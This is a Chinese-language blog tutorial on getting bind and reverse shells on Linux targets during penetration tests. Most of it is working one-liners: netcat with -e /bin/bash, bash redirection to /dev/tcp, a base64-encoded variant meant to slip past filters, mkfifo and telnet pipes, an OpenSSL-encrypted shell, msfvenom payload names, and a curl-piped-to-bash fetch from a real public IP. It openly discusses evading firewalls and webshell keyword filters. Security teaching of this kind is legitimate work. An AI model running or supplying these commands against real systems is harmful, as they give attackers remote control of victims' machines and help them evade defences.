渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 相关博客
  • 反弹shell介绍
  • 常用反弹方式
    • NetCat(NC)反弹
      • 正向NC
      • 反向NC
    • Telnet反弹
      • 正向shell
      • 反向shell
    • OpenSSL
    • Curl

相关博客

  1. Linux信息收集、渗透测试常用命令: https://xunmi.blog.csdn.net/article/details/114970239 (如果你不了解重定向标准文件操作符一定要看一下此博客这两部分,要不然你可能无法理解下面反弹shell的命令原理!!!)
  2. Linux常用提权方法: https://xunmi.blog.csdn.net/article/details/115187418
  3. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?: https://xunmi.blog.csdn.net/article/details/115458490

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

  1. 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
    不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
    在这里插入图片描述
  2. 反向反弹: 被控端主动发送请求连接我们的控制端。
    这种方法是可以想办法避开防火墙和路由的一些限制的!
    在这里插入图片描述

常用反弹方式

测试机器:

  1. kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
  2. contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)
    在这里插入图片描述

NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息)
nc -lvvp 端口号 -e 使用的sh
# 比如:
nc -lvvp 4578 -e /bin/bash
# 控制端
nc 目标IP 端口号
# 比如
nc 43.128.11.131 4578 
# msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter)
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat

在这里插入图片描述

反向NC

被控端反向shell种类非常多,可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/
下面我会详细剖析一些常用的被控端反向shell的命令原理!
使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测。但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施,为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。(如果你看不懂这里,则请先看一下我的Linux渗透测试命令基础博客!)中反弹shell基础那部分的说明!

# 控制端:
nc –lvvp 端口
# 被控端:
nc -e /bin/bash IP 端口

一般直接使用nc反弹的shell并不是很稳定,并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数),这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令
# 最基础的命令,下面有详解
bash -i >& /dev/tcp/IP/端口 0>&1
## 这个命令和上面的是等价的,只是写法有点不同!
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符
## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令
## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中
exec 5<>/dev/tcp/IP/端口;cat <&5 | while read line; do $line 2>&5 >&5; done
## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。
0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181
## 这里和第一个命令一样,只是多了一层base64的编码!
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
# msf攻击载荷
cmd/unix/bind_netcat
cmd/unix/reverse_netcat

在这里插入图片描述
在这里插入图片描述
如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

# 使用msf生成
## 比如
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi
  1. rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件

    1. rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)
    2. mkfifo /tmp/临时文件: mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符,传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)。在这里插入图片描述
    3. cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
      1. cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令
      2. /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

    msf可以自动的快速生成这种命令!
    在这里插入图片描述

  2. mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    1. mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理。他是ssh前辈,但因为安全性方面远不如ssh,甚至直接是使用明文传输数据的,已经逐步被弃用了。但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell

# 攻击机开启两个端口进行监听一个用于输入,一个用于输出
nc -lvvp 输入端口
nc -lvvp 输出端口
# 目标机
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口

反向shell

# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a

在这里插入图片描述

OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库,具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。
首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s

所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)
在这里插入图片描述
在这里插入图片描述

Curl

没错,这就是Linux系统中的下载命令,因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!
首先我们需要在公网服务器中创建一个index.html文件,并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端: 
echo 'bash -i >& /dev/tcp/IP/端口' > index.html
# 比如
echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
# 这里&是让这个命令后台执行
python3 -m http.server &
nc -lvvp 4545 
# 目标机:
curl 43.128.11.131:8000|bash

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试 的相关文章

  • vscode 配置头文件路径

    1 打开 VSCode 界面 xff0c 在左下角找到齿轮 打开设置 xff0c 点击配置文件 2 在配置文件中添加相应的头文件路径
  • vscode 编码格式配置及保存(统一工程的编码格式,防止中文注释乱码)

    使用 VSCode 统一工程的编码格式 打开不同编码格式的文件 xff0c 点击右下角编码格式 xff0c 通过不同的编码来保存 xff0c 防止更改编码格式时导致中文注释乱码
  • CentOS7安装oracle12G调不出图形化界面

    问题 xff1a centos如果无图形化界面 xff0c 在安装oracle xff0c 调用图形化界面时会遇到问题 xff0c 报错为 xff1a 无法使用命令 usr bin xdpyinfo 自动检查显示器颜色 请检查是否设置了 D
  • STM32外围电路硬件解析

    复位电路 xff1a 复位 xff1a 让MCU回到最开始的状态 并且从头开始 xff0c 重新执行程序 我们什么时候需要复位 xff1f 1 烧录的时候 2 程序跑飞了的时候 3 上电复位 xff08 上电的时候需要复位 xff09 复位
  • stm32f103——中断——UART中断服务函数

    在程序中 xff0c CPU对外界突发事件进行处理的方式又两种 xff1a 1 轮询系统 xff1a xff08 在main中 xff0c 使用while循环 xff0c 进行循环判断外界事物是否发生 xff09 while xff08 1
  • Docker快速入门,看这个就够了

    Docker快速入门 一 Docker介绍1 1 Docker背景1 2 Docker概念1 3 Docker的优势1 4 Docker的三个基本概念 二 Docker的安装和使用2 1 安装依赖包2 2 安装Docker 三 启动Dock
  • Kubernetes(K8S)集群部署搭建图文教程(最全)

    Kubernetes 集群安装 前期准备集群安装系统初始化Harbor采取私有的仓库去镜像使用集群检测集群功能演示 前期准备 第一步 xff1a Router软路由构建 第二步 xff1a centos7安装 5台 xff08 自行安装 x
  • 【STM32-HAL库】一步步搭建出FOC矢量控制(附C代码)

    说明 本文为无刷电机或PMSM电机驱动的简易代码 xff0c 旨在分享一些个人调试过程的小心得 xff0c 提供一个demo文件 xff0c 程序仍有许多不完善的地方 xff0c 建立起个人的FOC底层驱动 xff0c 可以帮助快速熟悉FO
  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行
  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span
  • GPS数据类型(ROS)

    文章目录 一 传感器分类二 作用三 系统组成四 位置表示五 数据格式六 ROS中GPS数据格式sensor msgs NavSatFixROS中GPS数据主要包含这四类 xff0c 分别是gps 裸数据ros封装 xff0c 位置 xff0
  • cmake使用教程

    CMakeLists txt文档编写以及packsge xml文档介绍 CMakeLists txt文档一 cmake minimum required命令二 CMake中的编译类型三 cmake编译选项 xff08 与2对应 xff09

随机推荐